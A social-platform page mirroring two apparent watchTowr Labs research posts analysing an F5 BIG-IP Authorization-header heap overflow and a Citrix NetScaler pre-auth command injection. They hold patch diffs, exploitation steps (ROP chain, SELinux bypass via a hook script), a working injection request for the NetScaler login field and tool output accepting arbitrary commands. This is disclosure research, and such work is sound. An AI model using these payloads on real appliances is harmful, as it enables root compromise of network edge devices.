Elektrine
Log in Register
Paige Chat Timeline Gallery Friends Email Drive DNS Private DNS Domains VPN Kairo Nerve
Remote

watchTowr Labs

@index@labs.watchtowr.com
ghost 0.1.0
  • Open on labs.watchtowr.com
watchTowr Labs is the epicentre of offensive security expertise at watchTowr - where research, innovation, and real attacker insight power our Preemptive Exposure Management technology.
0 Followers
0 Following
2 Posts
Open post
watchTowr Labs @index@labs.watchtowr.com
· 2w ago

Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)

Well, well, well, well, well, well, well, well, well, well, well, well, well, well, well. We're back. Sorry.

We've been watching the onslaught of vulnerabilities flood the internet. Every man, dog, and their grandmas (apparently?) are now using LLMs to find and reproduce vulnerabilities - it’s a free-for-all (unless you’re trying to buy RAM).

Unfortunately, while we're all finding more vulnerabilities and flexing obfuscated stack traces… (or emoji-ridden HTTP requests that are actually complete slop and not real, and please, for the love of god, no, those slop-ridden payloads appearing in your access_log are not proof of exploitation jesus wept, it’s becoming traumatic) …on many social media networks, some things have remained reassuringly steadfast: the vendors and their struggle to seemingly care about the security of your network.

Yes, that’s right - it’s time for more Secure by Design jokes. Welcome back to another watchTowr Labs blog post.

We’ve missed you (admit you’ve missed us, please).

You’ve guessed it - we’re looking at F5’s BIG-IP solution today. What Is CVE-2026-94127, and How Does Refresh Have A CVE? Hah.

F5, the Seattle-based vendor quietly responsible for a worrying amount of the internet's plumbing, makes BIG-IP: an application delivery controller (ADC) that sits in front of your applications and decides where every request goes.

Beyond basic load balancing, a typical BIG-IP deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on how many licenses procurement signed off on, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM).

All of this runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API.

In other words, it lives at the very edge of your network, terminates your TLS, sees all of your traffic in plaintext, and holds the keys to your authentication.

But what is CVE-2026-94127?

As with all good stories, it began with a new KB ID. On Sept 22nd (yesterday), F5 published the following advisory:

Despite the talk about planes, there was no flying (see! you’ve missed this humor!).

The F5 official advisory (K000162605) lists the following versions as affected:

Product Branch Versions known to be vulnerable Fixes introduced in

BIG-IP APM 21.x 21.1.0 Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso

BIG-IP APM 17.x 17.5.0 – 17.5.1 17.1.0 – 17.1.3 Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso

BIG-IP (all other modules) All None Not applicable

BIG-IQ Centralized Management All None Not applicable

Better yet, the CWE assignment quickly caught our attention:

Even more scary, though: this wasn't just any vulnerability. There were bad people on the Internet exploiting it. We instantly had questions: How could they? Aren't these complex vulnerabilities? Are they geniuses?When is dinner?Setting The Scene To fuel our analysis today, we set up an F5 BIG-IP appliance with a virtual server with an OAuth profile configured, and compared the following versions following our normal ‘what the hell has changed’ process: Vulnerable: BIG-IP 21.1.0, build 0.0.38Different: BIG-IP 21.1.0.2, hotfix build 0.30.22Patch-Diffing Our Way Out Of Hell As with any other beautifully designed security product (cough Citrix cough), it seems the person of interest is yet another massive ELF file.

Yeeting these files straight into IDA, and starting our good old friend Diaphora, we were greeted with the excitement of exporting 1728 functions in each binary to subsequently compare.

An eternity (7 TikTok videos) later, Diaphora finished its comparison, and the patch was, as always, depressing:

--- unpatched/tmm64.pgo_use/sub_10B01C0.c +++ patched/tmm64.pgo_use/sub_10B0E00.c @@ -163,10 +160,20 @@ -LABEL_17:

  • if ( !v13 ) +LABEL_26:
  • if ( v20 > 0x4100 )
  • {
  • v15 = 5;
  • v26 = 29;
  • v27 = "Authorization header too big.";
  • if ( *(_DWORD *)(v5 + 616) )
  •  goto LABEL_19;
    
  • goto LABEL_30;
  • }
  • if ( !v20 ) { -LABEL_21:
  • v22 = *(_QWORD *)(v5 + 520);
  • goto LABEL_22; +LABEL_11:
  • v10 = *(_QWORD *)(v5 + 520);
  • goto LABEL_12; }
  • if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
  • if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )

If you squint, you can spot a clue. The jokes are so obvious we’ve actually had to pace ourselves to painstakingly stretch them across today’s drivel. Before We Make The Obvious Jokes Let’s actually walk through the patched code and make it painstakingly clear (more than it is already) how ridiculous this entire situation is:

__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3) {

[..SNIP..]

++*(_QWORD *)(qword_51F36C0 + 1352); a3 = *(_QWORD )(a1 + 48); if ( ((_WORD )(a3 - 8) & 0x3FFF) == 0 ) goto LABEL_68; ++(_QWORD )((_QWORD )(a3 + 320) + 592LL); if ( v7 ) ++(_QWORD *)(v7 + 592); a2 = 66; v8 = (char *)umalloc(0x4100, 66, 0); // [1] allocate a heap buffer of size 0x4100 if ( !v8 ) { v15 = 1; v26 = 30; v27 = "Out of memory for UserInfo req"; if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( *(_WORD *)(v3 + 442) <= 0x1Du ) goto LABEL_11; v9 = *(_WORD *)(v3 + 502); if ( v9 == 0xFFFF ) goto LABEL_11; a3 = v9; if ( *(_WORD *)(v3 + 440) <= v9 ) goto LABEL_11; a2 = *(_QWORD *)(v3 + 428); a3 = v9 >> 4; v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF); if ( !v17 ) goto LABEL_11; v18 = *(unsigned __int8 *)(v17 + 18); a3 = *(_DWORD )(v17 + 8) + (unsigned int)(unsigned __int16 *)(v17 + 16); v19 = *(_DWORD *)(v17 + 4) - a3; if ( v19 == v18 ) goto LABEL_11; v20 = (unsigned int)(v19 - v18); // [2] extract the Authorization header size v21 = *(_QWORD *)(v3 + 12); if ( v21 ) { v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6); v82 = *(_QWORD )(v3 + 12); v81 = v22; a3 = (unsigned int)((_DWORD *)v17 + a3); v23 = *(unsigned __int16 *)(v21 + 6); v24 = *(_QWORD )(v21 + 8); a2 = a3 + v22; if ( a2 >= v24 + v23 && a2 < (unsigned __int64)(unsigned __int16 *)(v21 + 4) + v23 + v24 ) { v81 = a2; goto LABEL_26; } } else { v81 = 0; v82 = 0; } a2 = (unsigned __int64)&v81; v25 = sub_15C4E80(v72, &v81); v15 = v25; if ( v25 != 18 && v25 ) { if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; v26 = 38; v27 = "Failed to lookup authorization header."; goto LABEL_30; } LABEL_26: if ( v20 > 0x4100 ) // [3] check the header size to not be more than 0x4100
{ v15 = 5; v26 = 29; v27 = "Authorization header too big."; // [4] error message if ( *(_DWORD *)(v5 + 616) ) goto LABEL_19; goto LABEL_30; } if ( !v20 ) { LABEL_11: v10 = *(_QWORD *)(v5 + 520); goto LABEL_12; }

// [5] copy the Authorization header value to the heap buffer which is v8 if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 ) { if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) ) { v13 = 43; v14 = "Authorization header must be of type Bearer"; LABEL_18: v15 = 4; sub_112F7C0(a1, v73, v5, 2, v14, v13); goto LABEL_19; }

[..SNIP..] At [1], a heap buffer of size 0x4100 is allocated using a umalloc call (let's just say it is a wrapper for malloc) and stored in the v8 variable.At [2], an object member is accessed, which we assume is the length of a provided Authorization: HTTP header, and stored in the v20 variable.At [3], this size variable is checked to be no more than 0x4100.At [4], if it is larger, an error is thrown.At [5], if not, the Authorization header value is copied into the heap buffer (v8). It is simple: before the patch, there was no size check before copying the value to the heap buffer, and now there is one.

To make it even simpler: the enterprise security appliance had a security vulnerability, grounded in a primitive from 20 years ago, specifically in how it handles security credentials.

Are we all being trolled? How Do We Trigger It? Now we understand what the vulnerability is, our next step is to actually trigger it and work out which season of The Truman Show we’re trapped within.

The advisory already mentions OAuth being in play here, and F5’s own documentation on OAuth has all the details we need.

First, the command to enable the Access Policy Manager (APM) OAuth profile:

The same page provides us with the HTTP endpoint we need to hit to trigger the OAuth flow (overwhelming evidence in the argument for security by obscurity):

So friendly.

We picked /f5-oauth2/v1/userinfo - but you guessed it, pick whatever you want. Triggering Trauma After configuring the OAuth profile, triggering it was as easy as sending the following request with an Authorization header larger than 0x4100 bytes:

GET /f5-oauth2/v1/userinfo HTTP/1.1 Host: bigip Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... Connection: close

We immediately got a crash.

Oh, were you expecting the authentication boundary of your security appliance not to crash? Are you a moron?

As you can see below, ufree hit an assert while trying to dereference corrupted heap metadata:

rbx 0x30966e0 50947808 rcx 0x0 0 rdx 0x0 0 rsi 0x7feed66cd1c0 140663776399808 rdi 0x0 0 rbp 0x40000a150000 0x40000a150000 rsp 0x4000003fc880 0x4000003fc880 r8 0xa 10 r9 0x3442fac 54800300 r12 0x0 0 r13 0x5 5 r14 0x41414141 1094795585 r15 0x400004d62200 70368825319936 rip 0x16350b6 0x16350b6

#0 0x00000000016350b6 in ?? () #1 0x00000000016350d4 in tmm_assert () #2 0x000000000082be0a in ufree () #3 0x00000000010ba559 in ?? () #4 0x0000000000d5c35b in ?? () #5 0x0000000000dd8d33 in ?? () #6 0x0000000000858aee in ?? () #7 0x00000000008519c4 in ?? () #8 0x000000000084fc00 in ?? ()

We Were Shocked To find system-wide ASLR enabled. Even more surprisingly, and unlike some others (cough Citrix cough), on an F5 BIG-IP, there is no executable heap or stack.

Luckily for us, there is no PIE:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled

At this point, we realized we had got lucky with the heap layout. In about 90% of our runs, an object with a function pointer member lands just past our buffer, at buffer + 0x4ff8.

Here is roughly how we guessed the object's members are laid out:

+0x00 callback function +0x08 other fields +0x10 other fields

And here is the code that calls the overwritten function pointer:

mov rdi, [rbx+18h] ; rdi = address of the heap object mov r9, [rdi] ; r9 = object->callback call r9 ; call the overwritten address

A bit of basic stack-pivoting gets the alignment and arguments into place, and from there it is a clean run of gadgets.

Our first idea was a classic ret2plt: chain a gadget to call execvp:

execvp( "/bin/sh", (char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL } );

We actually built the gadget, but as always, the moment we let ourselves feel like we had achieved something, SELinux slapped us in the face and blocked the exec syscall:

-1, errno=13 (EACCES) :( Getting around SELinux While looking for a way around SELinux, we thought: what if we just write a file to disk and drop a web shell instead?

That plan was scuppered when we found the web server was also under SELinux.

So we started poking around further, monitoring processes, and noticed a Bash script that kept getting called every time our target process crashed:

bash /etc/bigstart/scripts/tmm.finish

A hook script? We decided to reuse the ret2plt, this time to append the command we wanted to run, to the hook script itself.

Here are the calls we make:

fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND); write(fd, "/usr/bin/touch /watchTowr.txt;", 30);

                    0:00
                    
                        /0:25
                    
                    
                    1×

It is 2026, AGI is here, and we are still writing overflow 101 vulnerability analyses.

0
0
0
0
Open post
watchTowr Labs @index@labs.watchtowr.com
· 1w ago
Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771) God damn it, we're back in the room again. We'll probably write more here later, but for now, deal with this picture of our favorite software dev, who works at Citrix (we imagine). Citrix, before you ask, we do accept our new volunteer role as an extension of your PSIRT function. You may have to compete with other vendors we work with for charity, but we're willing to add you to the roster. As always, watchTowr clients gain industry-first access to our research, accompanied by Active Defense capabilities to autonomously mitigate exposure. If configured, watchTowr clients' exposure to this vulnerability has already been mitigated. This research is a glimpse into the capabilities that power our Preemptive Exposure Management solution, enabling organizations to rapidly react to emerging threats: the watchTowr Platform. We do this every day. Who Is Citrix NetScaler, and Why Was A Gateway Their First C Project? Citrix NetScaler (rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure. This text above is now contained within a keyboard shortcut. What is CVE-2026-88771, And Why Does It Have More Friends Than Us? CVE-2026-88771 is the pre-auth command injection we walk through here. It is one of eight vulnerabilities Citrix fixed in a single bulletin, CTX697096. It affects the default configuration and was exploited in the wild as a zero-day, before any fix existed. Here is everything the advisory covers: CVEDescriptionCVSS 4.0Exploited in the WildCVE-2026-88771Improper input validation that lets an unauthenticated attacker run arbitrary commands. Affects the default configuration.9.5 CriticalYesCVE-2026-88772Memory overflow that can lead to remote code execution or denial of service when DTLS is enabled (the default for VPN virtual servers).9.5 CriticalYesCVE-2026-88773HTTP request smuggling (inconsistent interpretation of HTTP requests). Depends on specific configurations.9.3 CriticalNot reportedCVE-2026-88774NetScaler ADC and NetScaler Gateway vulnerability. Depends on specific configurations.7.0 HighNot reportedCVE-2026-88775Memory overflow. Depends on specific configurations.8.8 HighNot reportedCVE-2026-88776Memory overflow. Depends on specific configurations.8.8 HighNot reportedCVE-2026-88777Memory overflow. Depends on specific configurations.8.8 HighNot reportedCVE-2026-88778Predictable value from previous values. Fixed by enabling Enhanced ISN Generation, not by the upgrade alone.8.8 HighNot reported The Citrix advisory recommends updating to the following fixed versions: Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releasesCitrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPSCitrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.279 and later releases of 13.1-FIPS and 13.1-NDcPPSetting The Scene To fuel today's analysis, we set up a Citrix NetScaler appliance and compared two versions using our normal "what the hell has changed" process: Vulnerable: NetScaler 14.1 build 73.30Different: NetScaler 14.1 build 73.37And So We Set Off On Our Travels - CVE-2026-88771 Although there are many vulnerabilities in this advisory, we decided to look at CVE-2026-88771, the one that is known to be exploited in the wild. In addition, it is the most impactful and interesting from a "why does the world exist in this way?" and "what did we do wrong as children to deserve this?" perspective. Being the well-traveled Citrix reverse engineers that we are, we initially thought maybe NSPPE would be the culprit here: our good old friend, where almost all of the vulnerabilities from the past decade in Citrix NetScaler have existed. However, Citrix clearly likes to play games with us and so this time it actually wasn't the case. We have had our fair share of reverse engineering the nsppe binary over the years, and the CWE in the Citrix advisory looked like more “intended NetScaler functionality”, yet somehow different to normal: A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands. Citrix Improper input validation that results in command execution? Oh boy. We would say the 80s called, but did they even have phones? Who knows. Insert joke here for the entirety of HackerNews to argue about again However, what we did know was one thing: given our experience with nsppe, we suspected it was very unlikely that command injection existed there and so we did something different. We broke the cycle and looked elsewhere. Thank God we did this. grep, sed, and Awkward One of the interesting files that changed was ns_monuploadd_err.pl. Diffing it gave us the following exciting output: diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl --- a/netscaler/ns_monuploadd_err.pl # 14.1-73.30 +++ b/netscaler/ns_monuploadd_err.pl # 14.1-73.37 @@ -my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\ -tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1] +my $WR_PPE_COREFILE_NAME = ""; +my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/; +for my $log (@WR_FILES) { + open my $fh, '<', $log or next; + while (my $line = <$fh>) { + $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE; + } + close $fh; +} @@ -chomp($WR_PPE_COREFILE_NAME); -my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`; +my $WR_PPE_CORE = ""; +if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f', + '(', '-name', $WR_PPE_COREFILE_NAME, + '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')') +{ + while (my $found = <$find>) { + chomp $found; + if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) { + $WR_PPE_CORE = $found; + } + } + close $find; +} Now, what we can see is that the old code appears to be trying to recover the name of a crashed nsppe core file. For context, a real Pitboss message stored in .log files looks like this: pitboss: NSPPE-00 (12345) unexpectedly died Which means a matching core file would normally be named something like: NSPPE-00-12345 Old Code? I Hardly Know Her The first removed expression starts a command-chain: At [1], the backticks tell Perl to run the enclosed text as a shell command and return its output. The command-chain then does the following: grep searches the log files for a Pitboss PPE failure message.tail -1 keeps the last matching line.sed removes everything before NSPPE and removes parentheses.awk takes the first two whitespace-separated fields and joins them with a hyphen. This is just some shell-fu, which is why it looks a little complicated. It really isn't. Here's another example for you folks. First, imagine a log message like this NSPPE-00 (12345) unexpectedly died When this log message is parsed by the Perl code above, it first removes the parentheses: NSPPE-00 12345 unexpectedly died Then it prints field 1, a hyphen, and field 2: NSPPE-00-12345 The problem is that the script never verifies that those first two fields are really an nsppe core file name and a numeric process ID. As always in Citrix land, we trust whatever - and in this case, it trusts whatever text the log contains after the word NSPPE. For example, an attacker-controlled log record could contain: pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y After sed and awk, the value stored in $WR_PPE_COREFILE_NAME is similar to: NSPPE-00;id>/tmp/watchTowr;-X At this point, the semicolons are only characters inside a Perl string. The first pipeline does not execute them. The Command Injection happens in the next line, when Perl interpolates that string into another backtick command: my $WR_PPE_CORE = `find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`; When that next line occurs the shell receives something equivalent to the below: find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1 As you may be guessing, the shell then treats that semicolon as a command separator. It first runs the find command for those in the back of the room, and then it runs our lovely controlled payload. The last part fails, but who cares, because our injected command has already executed as root - because pretty much everything on a Citrix NetScaler runs as root. This is it. This is how APT groups have presumably been ravaging your networks in secret while Citrix kept its mouth shut. Yes, you’re right again - it took days to get a patch for this. Can anyone else hear screaming? Did They Fix It? How? AGI? Well, dear friends, the new code first replaces the grep | sed | awk pipeline with normal Perl file handling. It reads each log line and applies this regular expression: qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/ The two captured values are deliberately narrow: (NSPPE-\d{2}) accepts a Packet Engine name such as NSPPE-00.(\d+) accepts only a numeric process ID. The filename is then created only from those captures: $WR_PPE_COREFILE_NAME = "$1-$2"; Even if the rest of the log line contains semicolons, pipes, backticks, or redirection characters, those characters are not copied into the filename. The second change is just as important. The fixed script starts find using Perl's list form: open my $find, '-|', 'find', '/var/core', '-type', 'f', ... Each value is passed to find as a separate argument. Perl does not build a command string and does not start /bin/sh, so shell metacharacters cannot be interpreted as commands. The search was also tightened from the prefix pattern NAME* to only the exact core filename or its exact .gz form. Finally, the returned path must match: /\A[A-Za-z0-9\/\-.]+\z/ The \A and \z anchors require the whole path to match. Only letters, digits, /, -, and . are allowed. This is defense-in-depth because the path is later used by older backtick commands elsewhere in the script. See, Citrix does know about defense. In short, the patch does what anyone who doesn’t hate themselves would’ve done: it constructs the core name from strictly validated fields, and it executes find without involving a shell. BL1NG BL1NG GIVE ME A SHELL. Sadly, a simple pre-auth request like this can trigger the vulnerability (you need Hackvertor installed to encode the login field (if you’re using Burp or similar)): POST /nf/auth/doAuthentication.do HTTP/1.1 Host: netscaler-aaa-server Content-Type: application/x-www-form-urlencoded login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On Response: HTTP/1.1 200 OK Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src :* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/ X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Length: 2253 Cache-control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8 X-Citrix-Application: Receiver for Web successupdate-credentialsctx_hintYYYYYYY/nf/auth/doCredentialUpdate.do/nf/auth/doCancelCredentialUpdate.doCancelnonensg_changepassnsg-login-headingloginusernameusernamensg_usernamensg-login-labeltruepitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# Xoldpwdpasswordnsg_oldpassnsg-login-labeltrue.+passwdnewpwdnewpasswordnsg_newpassnsg-login-labeltrue.+confirmedpwdnewpasswordnsg_confirmpassnsg-login-labeltrue.+nonensg-change-pass-assistive-textns-dialogue-submitnoneSubmit What is worth mentioning here is that this is not limited to one endpoint. Any endpoint or port that logs data controlled in an HTTP header can trigger this vulnerability. Failed login attempts, users blocked by rate limits, request parameters, and User-Agent headers can all end up in the logs, and thus many combinations exist. Even the Citrix management interface is not safe (ha ha, classic foot gun things). The HTTP request above causes the following entries to be logged: xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for /var/tmp/watchTowr`;# X>, factor , auth type 4129, trans id 1350" xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70 xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: /var/tmp/watchTowr`;# X>, factor: , trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0" Shell We Restart? As always, we then banged our heads against the wall - in frustration. The Command Injection doesn't trigger instantly, we have to wait for ns_monuploadd_err.pl to run, which can take up to 24 hours: this is mildly frustrating if you're us. To force execution, you can run the following command, but we may or may not have found a technique to force this to fire instantly. For now, though, we’re keeping that to ourselves. /netscaler/ns_monuploadd_err.pl -WR Now, let us check whether our command executed: root@netscaler# ls -la /var/tmp/watchTowr -rw-r--r-- 1 root wheel 41 Sep 28 09:21 /var/tmp/watchTowr root@netscaler# cat /var/tmp/watchTowr uid=0(root) gid=0(wheel) groups=0(wheel) root@netscaler# 0:00 /0:23 1× Detection Artefact Generator As always, we’re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments. It can be found on our GitHub here. ./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://all-ur-boxen/ --command 'id>/var/tmp/watchTowr' __ ___ ___________ __ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________ \ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \ \ / / __ \| | \ \___| Y | |( <_> \ / | | \/ \/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__| \/ \/ \/ watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py (*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber) CVEs: [CVE-2026-88771] [+] connected to https://all-ur-boxen/ [*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X [+] poisoning the logs... [*] triggering force pickup... [*] remote force pickup in progress [*] done
watchtowr.com
0
1
0
0
Back
313k7r1n3
Elektrine

Tor hidden service

elekhj7afj4qnrr4yd3bkzslsyo5jgfxw3orgjkhlcxifueodybyiiad.onion

I2P eepsite

j6b6cyk6gjmepjih7jjadxgxvvf3lzzujljuu2v4biemzpg3naya.b32.i2p

Platform

  • Email
  • Chat
  • Timeline
  • VPN
  • DNS

Company

  • About
  • Contact
  • FAQ
  • Lite (no JS)

Legal

  • Terms of Service
  • Privacy Policy
  • Transparency Report
  • Report Abuse
  • Warrant Canary
  • VPN Policy

Support

  • support@elektrine.com
  • Report Security Issue
Mail client setup IMAP mail.elektrine.com:993 POP3 mail.elektrine.com:995 SMTP mail.elektrine.com:465
© 2026 Elektrine. All rights reserved. Server: 18:57:28 UTC